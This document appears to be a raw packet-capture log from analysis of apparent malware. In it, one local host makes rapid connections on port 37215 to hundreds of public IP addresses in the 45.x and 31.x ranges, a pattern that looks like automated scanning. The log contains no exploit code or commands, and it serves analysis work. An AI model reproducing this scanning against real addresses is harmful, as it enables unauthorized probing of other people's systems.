Feb 20, 2022 16:02:48.495769978 CET	37215	27477	45.33.255.183	192.168.2.23
Feb 20, 2022 16:02:48.495899916 CET	27477	37215	192.168.2.23	45.33.255.183
Feb 20, 2022 16:02:48.511873007 CET	37215	27477	45.235.26.7	192.168.2.23
Feb 20, 2022 16:02:48.516923904 CET	37215	27477	45.226.137.212	192.168.2.23
Feb 20, 2022 16:02:48.518625021 CET	37215	27477	45.222.92.207	192.168.2.23
Feb 20, 2022 16:02:48.525418997 CET	37215	27477	45.162.59.129	192.168.2.23
Feb 20, 2022 16:02:48.530435085 CET	37215	27477	45.192.241.76	192.168.2.23
Feb 20, 2022 16:02:48.530534983 CET	27477	37215	192.168.2.23	45.192.241.76
Feb 20, 2022 16:02:48.530874014 CET	37215	27477	45.225.64.229	192.168.2.23
Feb 20, 2022 16:02:48.532162905 CET	37215	27477	45.181.228.188	192.168.2.23
Feb 20, 2022 16:02:48.538841963 CET	37215	27477	45.169.174.36	192.168.2.23
Feb 20, 2022 16:02:48.539930105 CET	37215	27477	45.237.4.96	192.168.2.23
Feb 20, 2022 16:02:48.545896053 CET	37215	27477	45.250.226.73	192.168.2.23
Feb 20, 2022 16:02:48.546030998 CET	37215	27477	45.195.53.229	192.168.2.23
Feb 20, 2022 16:02:48.546061039 CET	37215	27477	45.248.8.31	192.168.2.23
Feb 20, 2022 16:02:48.546091080 CET	37215	27477	45.229.170.197	192.168.2.23
Feb 20, 2022 16:02:48.548736095 CET	37215	27477	45.225.73.155	192.168.2.23
Feb 20, 2022 16:02:48.555871964 CET	37215	27477	45.161.38.112	192.168.2.23
Feb 20, 2022 16:02:48.555919886 CET	37215	27477	45.238.225.11	192.168.2.23
Feb 20, 2022 16:02:48.559034109 CET	37215	27477	45.112.206.238	192.168.2.23
Feb 20, 2022 16:02:48.564069986 CET	37215	27477	45.166.54.81	192.168.2.23
Feb 20, 2022 16:02:48.573503017 CET	37215	27477	45.178.58.238	192.168.2.23
Feb 20, 2022 16:02:48.577547073 CET	37215	27477	45.7.150.27	192.168.2.23
Feb 20, 2022 16:02:48.577578068 CET	37215	27477	45.224.35.10	192.168.2.23
Feb 20, 2022 16:02:48.582757950 CET	37215	27477	45.32.50.15	192.168.2.23
Feb 20, 2022 16:02:48.584319115 CET	37215	27477	45.70.124.179	192.168.2.23
Feb 20, 2022 16:02:48.588222980 CET	37215	27477	45.177.93.50	192.168.2.23
Feb 20, 2022 16:02:48.588860035 CET	37215	27477	45.200.198.167	192.168.2.23
Feb 20, 2022 16:02:48.588926077 CET	27477	37215	192.168.2.23	45.200.198.167
Feb 20, 2022 16:02:48.589251041 CET	37215	27477	45.181.128.56	192.168.2.23
Feb 20, 2022 16:02:48.589346886 CET	37215	27477	45.91.133.144	192.168.2.23
Feb 20, 2022 16:02:48.646078110 CET	37215	27477	45.75.13.246	192.168.2.23
Feb 20, 2022 16:02:48.704495907 CET	37215	27477	45.234.174.113	192.168.2.23
Feb 20, 2022 16:02:48.747733116 CET	27221	37215	192.168.2.23	31.90.196.239
Feb 20, 2022 16:02:48.747796059 CET	27221	37215	192.168.2.23	31.199.127.88
Feb 20, 2022 16:02:48.747829914 CET	27221	37215	192.168.2.23	31.245.79.9
Feb 20, 2022 16:02:48.747870922 CET	27221	37215	192.168.2.23	31.112.219.48
Feb 20, 2022 16:02:48.747905016 CET	27221	37215	192.168.2.23	31.20.179.36
Feb 20, 2022 16:02:48.747940063 CET	27221	37215	192.168.2.23	31.202.232.187
Feb 20, 2022 16:02:48.747967958 CET	27221	37215	192.168.2.23	31.9.2.74
Feb 20, 2022 16:02:48.748003006 CET	27221	37215	192.168.2.23	31.112.147.9
Feb 20, 2022 16:02:48.748059034 CET	27221	37215	192.168.2.23	31.17.182.207
Feb 20, 2022 16:02:48.748078108 CET	27221	37215	192.168.2.23	31.235.7.32
Feb 20, 2022 16:02:48.748116970 CET	27221	37215	192.168.2.23	31.229.66.198
Feb 20, 2022 16:02:48.748177052 CET	27221	37215	192.168.2.23	31.175.5.10
Feb 20, 2022 16:02:48.748215914 CET	27221	37215	192.168.2.23	31.178.243.69
Feb 20, 2022 16:02:48.748245955 CET	27221	37215	192.168.2.23	31.69.112.27
Feb 20, 2022 16:02:48.748274088 CET	27221	37215	192.168.2.23	31.64.162.13
Feb 20, 2022 16:02:48.748277903 CET	27221	37215	192.168.2.23	31.197.85.62
Feb 20, 2022 16:02:48.748328924 CET	27221	37215	192.168.2.23	31.191.87.206
Feb 20, 2022 16:02:48.748370886 CET	27221	37215	192.168.2.23	31.5.169.8
Feb 20, 2022 16:02:48.748405933 CET	27221	37215	192.168.2.23	31.224.4.179
Feb 20, 2022 16:02:48.748444080 CET	27221	37215	192.168.2.23	31.161.138.104
Feb 20, 2022 16:02:48.748481989 CET	27221	37215	192.168.2.23	31.26.128.241
Feb 20, 2022 16:02:48.748524904 CET	27221	37215	192.168.2.23	31.57.69.184
Feb 20, 2022 16:02:48.748586893 CET	27221	37215	192.168.2.23	31.38.68.130
Feb 20, 2022 16:02:48.748600006 CET	27221	37215	192.168.2.23	31.217.103.87
Feb 20, 2022 16:02:48.748640060 CET	27221	37215	192.168.2.23	31.32.94.168
Feb 20, 2022 16:02:48.748661995 CET	27221	37215	192.168.2.23	31.103.209.255
Feb 20, 2022 16:02:48.748698950 CET	27221	37215	192.168.2.23	31.207.5.224
Feb 20, 2022 16:02:48.748728991 CET	27221	37215	192.168.2.23	31.175.249.133
Feb 20, 2022 16:02:48.748764992 CET	27221	37215	192.168.2.23	31.182.20.205
Feb 20, 2022 16:02:48.748804092 CET	27221	37215	192.168.2.23	31.71.19.105
Feb 20, 2022 16:02:48.748840094 CET	27221	37215	192.168.2.23	31.59.230.13
Feb 20, 2022 16:02:48.748884916 CET	27221	37215	192.168.2.23	31.51.186.13
Feb 20, 2022 16:02:48.748914003 CET	27221	37215	192.168.2.23	31.171.78.33
Feb 20, 2022 16:02:48.748950958 CET	27221	37215	192.168.2.23	31.194.58.10
Feb 20, 2022 16:02:48.748990059 CET	27221	37215	192.168.2.23	31.73.160.2
Feb 20, 2022 16:02:48.749015093 CET	27221	37215	192.168.2.23	31.165.237.46
Feb 20, 2022 16:02:48.749064922 CET	27221	37215	192.168.2.23	31.74.149.126
Feb 20, 2022 16:02:48.749098063 CET	27221	37215	192.168.2.23	31.245.252.19
Feb 20, 2022 16:02:48.749128103 CET	27221	37215	192.168.2.23	31.229.37.86
Feb 20, 2022 16:02:48.749170065 CET	27221	37215	192.168.2.23	31.1.134.59
Feb 20, 2022 16:02:48.749196053 CET	27221	37215	192.168.2.23	31.59.247.75
Feb 20, 2022 16:02:48.749227047 CET	27221	37215	192.168.2.23	31.80.102.158
Feb 20, 2022 16:02:48.749275923 CET	27221	37215	192.168.2.23	31.62.249.108
Feb 20, 2022 16:02:48.749320030 CET	27221	37215	192.168.2.23	31.7.54.126
Feb 20, 2022 16:02:48.749347925 CET	27221	37215	192.168.2.23	31.19.14.122
Feb 20, 2022 16:02:48.749392986 CET	27221	37215	192.168.2.23	31.72.221.160
Feb 20, 2022 16:02:48.749435902 CET	27221	37215	192.168.2.23	31.229.19.102
Feb 20, 2022 16:02:48.749469042 CET	27221	37215	192.168.2.23	31.11.251.148
Feb 20, 2022 16:02:48.749515057 CET	27221	37215	192.168.2.23	31.97.141.82
Feb 20, 2022 16:02:48.749551058 CET	27221	37215	192.168.2.23	31.83.218.134
Feb 20, 2022 16:02:48.749593019 CET	27221	37215	192.168.2.23	31.119.107.98
Feb 20, 2022 16:02:48.749622107 CET	27221	37215	192.168.2.23	31.222.63.74
Feb 20, 2022 16:02:48.749660969 CET	27221	37215	192.168.2.23	31.40.37.141
Feb 20, 2022 16:02:48.749697924 CET	27221	37215	192.168.2.23	31.53.67.94
Feb 20, 2022 16:02:48.749732971 CET	27221	37215	192.168.2.23	31.160.82.1
Feb 20, 2022 16:02:48.749763012 CET	27221	37215	192.168.2.23	31.91.225.72
Feb 20, 2022 16:02:48.749799967 CET	27221	37215	192.168.2.23	31.208.194.238
Feb 20, 2022 16:02:48.749833107 CET	27221	37215	192.168.2.23	31.130.113.252
Feb 20, 2022 16:02:48.749886990 CET	27221	37215	192.168.2.23	31.81.59.83
Feb 20, 2022 16:02:48.749917030 CET	27221	37215	192.168.2.23	31.47.245.219
Feb 20, 2022 16:02:48.749954939 CET	27221	37215	192.168.2.23	31.21.222.217
Feb 20, 2022 16:02:48.749979973 CET	27221	37215	192.168.2.23	31.168.199.42
Feb 20, 2022 16:02:48.750030994 CET	27221	37215	192.168.2.23	31.112.225.90
Feb 20, 2022 16:02:48.750066996 CET	27221	37215	192.168.2.23	31.38.216.207
Feb 20, 2022 16:02:48.750102043 CET	27221	37215	192.168.2.23	31.79.190.45
Feb 20, 2022 16:02:48.750128984 CET	27221	37215	192.168.2.23	31.106.157.132
Feb 20, 2022 16:02:48.750164032 CET	27221	37215	192.168.2.23	31.162.203.77
Feb 20, 2022 16:02:48.750195980 CET	27221	37215	192.168.2.23	31.21.110.66
Feb 20, 2022 16:02:48.750227928 CET	27221	37215	192.168.2.23	31.216.124.110
Feb 20, 2022 16:02:48.750277042 CET	27221	37215	192.168.2.23	31.91.114.16
Feb 20, 2022 16:02:48.750303030 CET	27221	37215	192.168.2.23	31.236.129.90
Feb 20, 2022 16:02:48.750348091 CET	27221	37215	192.168.2.23	31.75.27.218
Feb 20, 2022 16:02:48.750377893 CET	27221	37215	192.168.2.23	31.129.240.250
Feb 20, 2022 16:02:48.750427961 CET	27221	37215	192.168.2.23	31.117.143.59
Feb 20, 2022 16:02:48.750462055 CET	27221	37215	192.168.2.23	31.45.14.203
Feb 20, 2022 16:02:48.750504017 CET	27221	37215	192.168.2.23	31.155.236.203
Feb 20, 2022 16:02:48.750551939 CET	27221	37215	192.168.2.23	31.148.30.135
Feb 20, 2022 16:02:48.750591993 CET	27221	37215	192.168.2.23	31.191.27.208
Feb 20, 2022 16:02:48.750638008 CET	27221	37215	192.168.2.23	31.217.251.183
Feb 20, 2022 16:02:48.750663042 CET	27221	37215	192.168.2.23	31.136.81.251
Feb 20, 2022 16:02:48.750705957 CET	27221	37215	192.168.2.23	31.90.150.194
Feb 20, 2022 16:02:48.750747919 CET	27221	37215	192.168.2.23	31.158.212.135
Feb 20, 2022 16:02:48.750768900 CET	27221	37215	192.168.2.23	31.222.205.56
Feb 20, 2022 16:02:48.750808001 CET	27221	37215	192.168.2.23	31.205.148.73
Feb 20, 2022 16:02:48.750844955 CET	27221	37215	192.168.2.23	31.122.200.141
Feb 20, 2022 16:02:48.750874996 CET	27221	37215	192.168.2.23	31.24.239.129
Feb 20, 2022 16:02:48.750906944 CET	27221	37215	192.168.2.23	31.51.72.189
Feb 20, 2022 16:02:48.750956059 CET	27221	37215	192.168.2.23	31.81.141.231
Feb 20, 2022 16:02:48.750994921 CET	27221	37215	192.168.2.23	31.212.134.157
Feb 20, 2022 16:02:48.751049995 CET	27221	37215	192.168.2.23	31.46.62.235
Feb 20, 2022 16:02:48.751087904 CET	27221	37215	192.168.2.23	31.146.241.65
Feb 20, 2022 16:02:48.751122952 CET	27221	37215	192.168.2.23	31.189.114.151
Feb 20, 2022 16:02:48.751163960 CET	27221	37215	192.168.2.23	31.80.199.121
Feb 20, 2022 16:02:48.751204014 CET	27221	37215	192.168.2.23	31.185.38.199
Feb 20, 2022 16:02:48.751241922 CET	27221	37215	192.168.2.23	31.62.72.110
Feb 20, 2022 16:02:48.751279116 CET	27221	37215	192.168.2.23	31.58.43.160
Feb 20, 2022 16:02:48.751318932 CET	27221	37215	192.168.2.23	31.91.27.226
Feb 20, 2022 16:02:48.751359940 CET	27221	37215	192.168.2.23	31.35.184.193
Feb 20, 2022 16:02:48.751399040 CET	27221	37215	192.168.2.23	31.147.128.123
Feb 20, 2022 16:02:48.751455069 CET	27221	37215	192.168.2.23	31.19.156.148
Feb 20, 2022 16:02:48.751492977 CET	27221	37215	192.168.2.23	31.113.194.75
Feb 20, 2022 16:02:48.751534939 CET	27221	37215	192.168.2.23	31.227.107.79
Feb 20, 2022 16:02:48.751571894 CET	27221	37215	192.168.2.23	31.64.39.22
Feb 20, 2022 16:02:48.751610041 CET	27221	37215	192.168.2.23	31.14.224.211
Feb 20, 2022 16:02:48.751650095 CET	27221	37215	192.168.2.23	31.58.174.63
Feb 20, 2022 16:02:48.751686096 CET	27221	37215	192.168.2.23	31.20.133.49
Feb 20, 2022 16:02:48.751733065 CET	27221	37215	192.168.2.23	31.218.80.104
Feb 20, 2022 16:02:48.751769066 CET	27221	37215	192.168.2.23	31.150.14.146
Feb 20, 2022 16:02:48.751796961 CET	27221	37215	192.168.2.23	31.97.117.106
Feb 20, 2022 16:02:48.751844883 CET	27221	37215	192.168.2.23	31.192.178.191
Feb 20, 2022 16:02:48.751874924 CET	27221	37215	192.168.2.23	31.96.146.54
Feb 20, 2022 16:02:48.751903057 CET	27221	37215	192.168.2.23	31.98.48.44
Feb 20, 2022 16:02:48.751983881 CET	27221	37215	192.168.2.23	31.9.67.215
Feb 20, 2022 16:02:48.752013922 CET	27221	37215	192.168.2.23	31.197.121.48
Feb 20, 2022 16:02:48.752015114 CET	27221	37215	192.168.2.23	31.178.168.243
Feb 20, 2022 16:02:48.752044916 CET	27221	37215	192.168.2.23	31.241.153.23
Feb 20, 2022 16:02:48.752079010 CET	27221	37215	192.168.2.23	31.127.95.164
Feb 20, 2022 16:02:48.752118111 CET	27221	37215	192.168.2.23	31.104.252.95
Feb 20, 2022 16:02:48.752152920 CET	27221	37215	192.168.2.23	31.93.247.186
Feb 20, 2022 16:02:48.752191067 CET	27221	37215	192.168.2.23	31.98.169.22
Feb 20, 2022 16:02:48.752213955 CET	27221	37215	192.168.2.23	31.150.238.130
Feb 20, 2022 16:02:48.752243042 CET	27221	37215	192.168.2.23	31.152.29.10
Feb 20, 2022 16:02:48.752288103 CET	27221	37215	192.168.2.23	31.111.168.195
Feb 20, 2022 16:02:48.752317905 CET	27221	37215	192.168.2.23	31.13.59.152
Feb 20, 2022 16:02:48.752361059 CET	27221	37215	192.168.2.23	31.177.210.53
Feb 20, 2022 16:02:48.752403975 CET	27221	37215	192.168.2.23	31.92.71.8
Feb 20, 2022 16:02:48.752444029 CET	27221	37215	192.168.2.23	31.48.92.58
Feb 20, 2022 16:02:48.752477884 CET	27221	37215	192.168.2.23	31.223.237.214
Feb 20, 2022 16:02:48.752522945 CET	27221	37215	192.168.2.23	31.63.231.185
Feb 20, 2022 16:02:48.752566099 CET	27221	37215	192.168.2.23	31.208.209.27
Feb 20, 2022 16:02:48.752609968 CET	27221	37215	192.168.2.23	31.93.49.250
Feb 20, 2022 16:02:48.752635956 CET	27221	37215	192.168.2.23	31.76.255.51
Feb 20, 2022 16:02:48.752674103 CET	27221	37215	192.168.2.23	31.238.162.114
Feb 20, 2022 16:02:48.752720118 CET	27221	37215	192.168.2.23	31.161.191.194
Feb 20, 2022 16:02:48.752753973 CET	27221	37215	192.168.2.23	31.91.10.226
Feb 20, 2022 16:02:48.752824068 CET	27221	37215	192.168.2.23	31.252.242.175
Feb 20, 2022 16:02:48.752860069 CET	27221	37215	192.168.2.23	31.40.43.55
Feb 20, 2022 16:02:48.752865076 CET	27221	37215	192.168.2.23	31.245.121.68
Feb 20, 2022 16:02:48.752888918 CET	27221	37215	192.168.2.23	31.160.19.149
Feb 20, 2022 16:02:48.752932072 CET	27221	37215	192.168.2.23	31.195.238.196
Feb 20, 2022 16:02:48.752999067 CET	27221	37215	192.168.2.23	31.30.165.255
Feb 20, 2022 16:02:48.753022909 CET	27221	37215	192.168.2.23	31.89.23.170
Feb 20, 2022 16:02:48.753031969 CET	27221	37215	192.168.2.23	31.144.148.55
Feb 20, 2022 16:02:48.753070116 CET	27221	37215	192.168.2.23	31.228.96.187
Feb 20, 2022 16:02:48.753098965 CET	27221	37215	192.168.2.23	31.6.150.226
Feb 20, 2022 16:02:48.753137112 CET	27221	37215	192.168.2.23	31.202.37.4
Feb 20, 2022 16:02:48.753166914 CET	27221	37215	192.168.2.23	31.41.216.159
Feb 20, 2022 16:02:48.753205061 CET	27221	37215	192.168.2.23	31.31.34.214
Feb 20, 2022 16:02:48.753238916 CET	27221	37215	192.168.2.23	31.183.108.4
Feb 20, 2022 16:02:48.753290892 CET	27221	37215	192.168.2.23	31.110.230.221
Feb 20, 2022 16:02:48.753324986 CET	27221	37215	192.168.2.23	31.125.208.235
Feb 20, 2022 16:02:48.753355980 CET	27221	37215	192.168.2.23	31.134.223.192
Feb 20, 2022 16:02:48.753391027 CET	27221	37215	192.168.2.23	31.29.55.13
Feb 20, 2022 16:02:48.753422022 CET	27221	37215	192.168.2.23	31.145.11.18
Feb 20, 2022 16:02:48.753463984 CET	27221	37215	192.168.2.23	31.97.63.220
Feb 20, 2022 16:02:48.753499031 CET	27221	37215	192.168.2.23	31.124.169.78
Feb 20, 2022 16:02:48.753525019 CET	27221	37215	192.168.2.23	31.51.89.158
Feb 20, 2022 16:02:48.753568888 CET	27221	37215	192.168.2.23	31.190.166.146
Feb 20, 2022 16:02:48.753617048 CET	27221	37215	192.168.2.23	31.188.153.48
Feb 20, 2022 16:02:48.753648996 CET	27221	37215	192.168.2.23	31.208.141.127
Feb 20, 2022 16:02:48.753679037 CET	27221	37215	192.168.2.23	31.243.141.177
Feb 20, 2022 16:02:48.753734112 CET	27221	37215	192.168.2.23	31.198.201.188
Feb 20, 2022 16:02:48.753762007 CET	27221	37215	192.168.2.23	31.6.119.102
Feb 20, 2022 16:02:48.753789902 CET	27221	37215	192.168.2.23	31.222.159.142
Feb 20, 2022 16:02:48.753823042 CET	27221	37215	192.168.2.23	31.87.218.24
Feb 20, 2022 16:02:48.753894091 CET	27221	37215	192.168.2.23	31.94.56.184
Feb 20, 2022 16:02:48.753925085 CET	27221	37215	192.168.2.23	31.56.251.175
Feb 20, 2022 16:02:48.753977060 CET	27221	37215	192.168.2.23	31.26.175.63
Feb 20, 2022 16:02:48.754009008 CET	27221	37215	192.168.2.23	31.174.67.169
Feb 20, 2022 16:02:48.754062891 CET	27221	37215	192.168.2.23	31.134.168.73
Feb 20, 2022 16:02:48.754101038 CET	27221	37215	192.168.2.23	31.235.125.116
Feb 20, 2022 16:02:48.754168987 CET	27221	37215	192.168.2.23	31.94.5.67
Feb 20, 2022 16:02:48.754210949 CET	27221	37215	192.168.2.23	31.205.103.253
Feb 20, 2022 16:02:48.754216909 CET	27221	37215	192.168.2.23	31.5.49.224
Feb 20, 2022 16:02:48.754259109 CET	27221	37215	192.168.2.23	31.7.205.171
Feb 20, 2022 16:02:48.754331112 CET	27221	37215	192.168.2.23	31.187.25.150
Feb 20, 2022 16:02:48.754338026 CET	27221	37215	192.168.2.23	31.137.145.54
Feb 20, 2022 16:02:48.754375935 CET	27221	37215	192.168.2.23	31.171.246.125
Feb 20, 2022 16:02:48.754417896 CET	27221	37215	192.168.2.23	31.172.113.16
Feb 20, 2022 16:02:48.754436970 CET	27221	37215	192.168.2.23	31.33.113.128
Feb 20, 2022 16:02:48.754498959 CET	27221	37215	192.168.2.23	31.69.61.41
Feb 20, 2022 16:02:48.754522085 CET	27221	37215	192.168.2.23	31.21.70.216
Feb 20, 2022 16:02:48.754559994 CET	27221	37215	192.168.2.23	31.134.107.26
Feb 20, 2022 16:02:48.754599094 CET	27221	37215	192.168.2.23	31.134.64.135
Feb 20, 2022 16:02:48.754626036 CET	27221	37215	192.168.2.23	31.217.252.249
Feb 20, 2022 16:02:48.754672050 CET	27221	37215	192.168.2.23	31.108.18.55
Feb 20, 2022 16:02:48.754723072 CET	27221	37215	192.168.2.23	31.11.52.186
Feb 20, 2022 16:02:48.754751921 CET	27221	37215	192.168.2.23	31.220.91.165
Feb 20, 2022 16:02:48.754792929 CET	27221	37215	192.168.2.23	31.23.59.236
Feb 20, 2022 16:02:48.754827976 CET	27221	37215	192.168.2.23	31.236.203.220
Feb 20, 2022 16:02:48.754865885 CET	27221	37215	192.168.2.23	31.56.154.99
Feb 20, 2022 16:02:48.754894018 CET	27221	37215	192.168.2.23	31.219.59.37
Feb 20, 2022 16:02:48.754951000 CET	27221	37215	192.168.2.23	31.151.179.168
Feb 20, 2022 16:02:48.754983902 CET	27221	37215	192.168.2.23	31.7.3.108
Feb 20, 2022 16:02:48.755028963 CET	27221	37215	192.168.2.23	31.1.209.153
Feb 20, 2022 16:02:48.755053997 CET	27221	37215	192.168.2.23	31.129.226.137
Feb 20, 2022 16:02:48.755110025 CET	27221	37215	192.168.2.23	31.36.92.80
Feb 20, 2022 16:02:48.755148888 CET	27221	37215	192.168.2.23	31.227.195.105
Feb 20, 2022 16:02:48.755188942 CET	27221	37215	192.168.2.23	31.245.29.53
Feb 20, 2022 16:02:48.755217075 CET	27221	37215	192.168.2.23	31.216.100.38
Feb 20, 2022 16:02:48.755255938 CET	27221	37215	192.168.2.23	31.251.119.238
Feb 20, 2022 16:02:48.755295038 CET	27221	37215	192.168.2.23	31.55.82.230
Feb 20, 2022 16:02:48.755335093 CET	27221	37215	192.168.2.23	31.135.110.66
Feb 20, 2022 16:02:48.755357981 CET	27221	37215	192.168.2.23	31.93.41.69
Feb 20, 2022 16:02:48.755397081 CET	27221	37215	192.168.2.23	31.52.128.201
Feb 20, 2022 16:02:48.755441904 CET	27221	37215	192.168.2.23	31.177.159.82
Feb 20, 2022 16:02:48.755487919 CET	27221	37215	192.168.2.23	31.181.188.124
Feb 20, 2022 16:02:48.755536079 CET	27221	37215	192.168.2.23	31.207.54.57
Feb 20, 2022 16:02:48.755562067 CET	27221	37215	192.168.2.23	31.203.67.184
Feb 20, 2022 16:02:48.755605936 CET	27221	37215	192.168.2.23	31.95.242.245
Feb 20, 2022 16:02:48.755645990 CET	27221	37215	192.168.2.23	31.21.167.37
Feb 20, 2022 16:02:48.755685091 CET	27221	37215	192.168.2.23	31.82.81.142
Feb 20, 2022 16:02:48.755709887 CET	27221	37215	192.168.2.23	31.93.225.251
Feb 20, 2022 16:02:48.755749941 CET	27221	37215	192.168.2.23	31.201.194.197
Feb 20, 2022 16:02:48.755786896 CET	27221	37215	192.168.2.23	31.175.107.91
Feb 20, 2022 16:02:48.755826950 CET	27221	37215	192.168.2.23	31.14.93.72
Feb 20, 2022 16:02:48.755863905 CET	27221	37215	192.168.2.23	31.243.158.73
Feb 20, 2022 16:02:48.755892992 CET	27221	37215	192.168.2.23	31.19.219.99
Feb 20, 2022 16:02:48.755923986 CET	27221	37215	192.168.2.23	31.204.15.239
Feb 20, 2022 16:02:48.755969048 CET	27221	37215	192.168.2.23	31.183.16.30
Feb 20, 2022 16:02:48.756006002 CET	27221	37215	192.168.2.23	31.19.47.79
Feb 20, 2022 16:02:48.756041050 CET	27221	37215	192.168.2.23	31.250.139.42
Feb 20, 2022 16:02:48.756072998 CET	27221	37215	192.168.2.23	31.231.145.111
Feb 20, 2022 16:02:48.756102085 CET	27221	37215	192.168.2.23	31.171.45.88
Feb 20, 2022 16:02:48.756140947 CET	27221	37215	192.168.2.23	31.113.231.117
Feb 20, 2022 16:02:48.756186008 CET	27221	37215	192.168.2.23	31.62.43.68
Feb 20, 2022 16:02:48.756227016 CET	27221	37215	192.168.2.23	31.93.234.246
Feb 20, 2022 16:02:48.756259918 CET	27221	37215	192.168.2.23	31.113.93.200
Feb 20, 2022 16:02:48.756302118 CET	27221	37215	192.168.2.23	31.69.113.133
Feb 20, 2022 16:02:48.756342888 CET	27221	37215	192.168.2.23	31.195.225.133
Feb 20, 2022 16:02:48.756377935 CET	27221	37215	192.168.2.23	31.202.10.23
Feb 20, 2022 16:02:48.756408930 CET	27221	37215	192.168.2.23	31.163.239.176
Feb 20, 2022 16:02:48.756453991 CET	27221	37215	192.168.2.23	31.89.188.41
Feb 20, 2022 16:02:48.756500006 CET	27221	37215	192.168.2.23	31.69.57.23
Feb 20, 2022 16:02:48.756529093 CET	27221	37215	192.168.2.23	31.251.145.166
Feb 20, 2022 16:02:48.756561041 CET	27221	37215	192.168.2.23	31.231.203.175
Feb 20, 2022 16:02:48.756612062 CET	27221	37215	192.168.2.23	31.133.1.132
Feb 20, 2022 16:02:48.756663084 CET	27221	37215	192.168.2.23	31.180.20.16
Feb 20, 2022 16:02:48.756697893 CET	27221	37215	192.168.2.23	31.190.145.210
Feb 20, 2022 16:02:48.756737947 CET	27221	37215	192.168.2.23	31.224.98.57
Feb 20, 2022 16:02:48.756742954 CET	27221	37215	192.168.2.23	31.241.137.100
Feb 20, 2022 16:02:48.756767035 CET	27221	37215	192.168.2.23	31.48.164.15
Feb 20, 2022 16:02:48.756822109 CET	27221	37215	192.168.2.23	31.193.118.33
Feb 20, 2022 16:02:48.756861925 CET	27221	37215	192.168.2.23	31.56.110.94
Feb 20, 2022 16:02:48.756894112 CET	27221	37215	192.168.2.23	31.94.52.18
Feb 20, 2022 16:02:48.756901979 CET	27221	37215	192.168.2.23	31.213.140.162
Feb 20, 2022 16:02:48.756939888 CET	27221	37215	192.168.2.23	31.88.131.252
Feb 20, 2022 16:02:48.756972075 CET	27221	37215	192.168.2.23	31.179.75.45
Feb 20, 2022 16:02:48.757031918 CET	27221	37215	192.168.2.23	31.100.164.12
Feb 20, 2022 16:02:48.757042885 CET	27221	37215	192.168.2.23	31.26.139.16
Feb 20, 2022 16:02:48.757076025 CET	27221	37215	192.168.2.23	31.32.35.242
Feb 20, 2022 16:02:48.757132053 CET	27221	37215	192.168.2.23	31.14.18.146
Feb 20, 2022 16:02:48.757165909 CET	27221	37215	192.168.2.23	31.37.33.123
Feb 20, 2022 16:02:48.757199049 CET	27221	37215	192.168.2.23	31.221.110.143
Feb 20, 2022 16:02:48.757209063 CET	27221	37215	192.168.2.23	31.104.4.50
Feb 20, 2022 16:02:48.757246971 CET	27221	37215	192.168.2.23	31.185.223.162
Feb 20, 2022 16:02:48.757273912 CET	27221	37215	192.168.2.23	31.110.211.56
Feb 20, 2022 16:02:48.757334948 CET	27221	37215	192.168.2.23	31.121.13.136
Feb 20, 2022 16:02:48.757371902 CET	27221	37215	192.168.2.23	31.128.83.175
Feb 20, 2022 16:02:48.757375956 CET	27221	37215	192.168.2.23	31.35.46.166
Feb 20, 2022 16:02:48.757405043 CET	27221	37215	192.168.2.23	31.87.118.37
Feb 20, 2022 16:02:48.757474899 CET	27221	37215	192.168.2.23	31.250.140.41
Feb 20, 2022 16:02:48.757478952 CET	27221	37215	192.168.2.23	31.241.217.195
Feb 20, 2022 16:02:48.757536888 CET	27221	37215	192.168.2.23	31.174.181.54
Feb 20, 2022 16:02:48.757548094 CET	27221	37215	192.168.2.23	31.74.131.64
Feb 20, 2022 16:02:48.757589102 CET	27221	37215	192.168.2.23	31.12.50.72
Feb 20, 2022 16:02:48.757612944 CET	27221	37215	192.168.2.23	31.0.35.10
Feb 20, 2022 16:02:48.757616043 CET	27221	37215	192.168.2.23	31.226.66.161
Feb 20, 2022 16:02:48.757656097 CET	27221	37215	192.168.2.23	31.28.228.59
Feb 20, 2022 16:02:48.757673979 CET	27221	37215	192.168.2.23	31.159.104.147
Feb 20, 2022 16:02:48.757709026 CET	27221	37215	192.168.2.23	31.78.187.9
Feb 20, 2022 16:02:48.757762909 CET	27221	37215	192.168.2.23	31.62.230.90
Feb 20, 2022 16:02:48.757802010 CET	27221	37215	192.168.2.23	31.89.147.184
Feb 20, 2022 16:02:48.757802963 CET	27221	37215	192.168.2.23	31.160.136.182
Feb 20, 2022 16:02:48.757873058 CET	27221	37215	192.168.2.23	31.90.224.147
Feb 20, 2022 16:02:48.757875919 CET	27221	37215	192.168.2.23	31.222.63.128
Feb 20, 2022 16:02:48.757903099 CET	27221	37215	192.168.2.23	31.52.53.50
Feb 20, 2022 16:02:48.757930040 CET	27221	37215	192.168.2.23	31.160.0.61
Feb 20, 2022 16:02:48.757941008 CET	27221	37215	192.168.2.23	31.184.5.197
Feb 20, 2022 16:02:48.757967949 CET	27221	37215	192.168.2.23	31.11.253.181
Feb 20, 2022 16:02:48.757986069 CET	27221	37215	192.168.2.23	31.174.50.88
Feb 20, 2022 16:02:48.758032084 CET	27221	37215	192.168.2.23	31.186.140.45
Feb 20, 2022 16:02:48.758042097 CET	27221	37215	192.168.2.23	31.200.19.178
Feb 20, 2022 16:02:48.758050919 CET	27221	37215	192.168.2.23	31.71.108.210
Feb 20, 2022 16:02:48.758102894 CET	27221	37215	192.168.2.23	31.218.71.167
Feb 20, 2022 16:02:48.758119106 CET	27221	37215	192.168.2.23	31.7.172.64
Feb 20, 2022 16:02:48.758142948 CET	27221	37215	192.168.2.23	31.249.86.191
Feb 20, 2022 16:02:48.758147955 CET	27221	37215	192.168.2.23	31.112.171.45
Feb 20, 2022 16:02:48.758182049 CET	27221	37215	192.168.2.23	31.110.250.62
Feb 20, 2022 16:02:48.758207083 CET	27221	37215	192.168.2.23	31.230.23.198
Feb 20, 2022 16:02:48.758223057 CET	27221	37215	192.168.2.23	31.30.161.101
Feb 20, 2022 16:02:48.758254051 CET	27221	37215	192.168.2.23	31.70.253.207
Feb 20, 2022 16:02:48.758297920 CET	27221	37215	192.168.2.23	31.67.139.188
Feb 20, 2022 16:02:48.758327007 CET	27221	37215	192.168.2.23	31.194.216.22
Feb 20, 2022 16:02:48.758331060 CET	27221	37215	192.168.2.23	31.240.35.53
Feb 20, 2022 16:02:48.758359909 CET	27221	37215	192.168.2.23	31.54.146.112
Feb 20, 2022 16:02:48.758390903 CET	27221	37215	192.168.2.23	31.165.152.59
Feb 20, 2022 16:02:48.758416891 CET	27221	37215	192.168.2.23	31.255.113.103
Feb 20, 2022 16:02:48.758460045 CET	27221	37215	192.168.2.23	31.196.68.115
Feb 20, 2022 16:02:48.758466959 CET	27221	37215	192.168.2.23	31.52.153.152
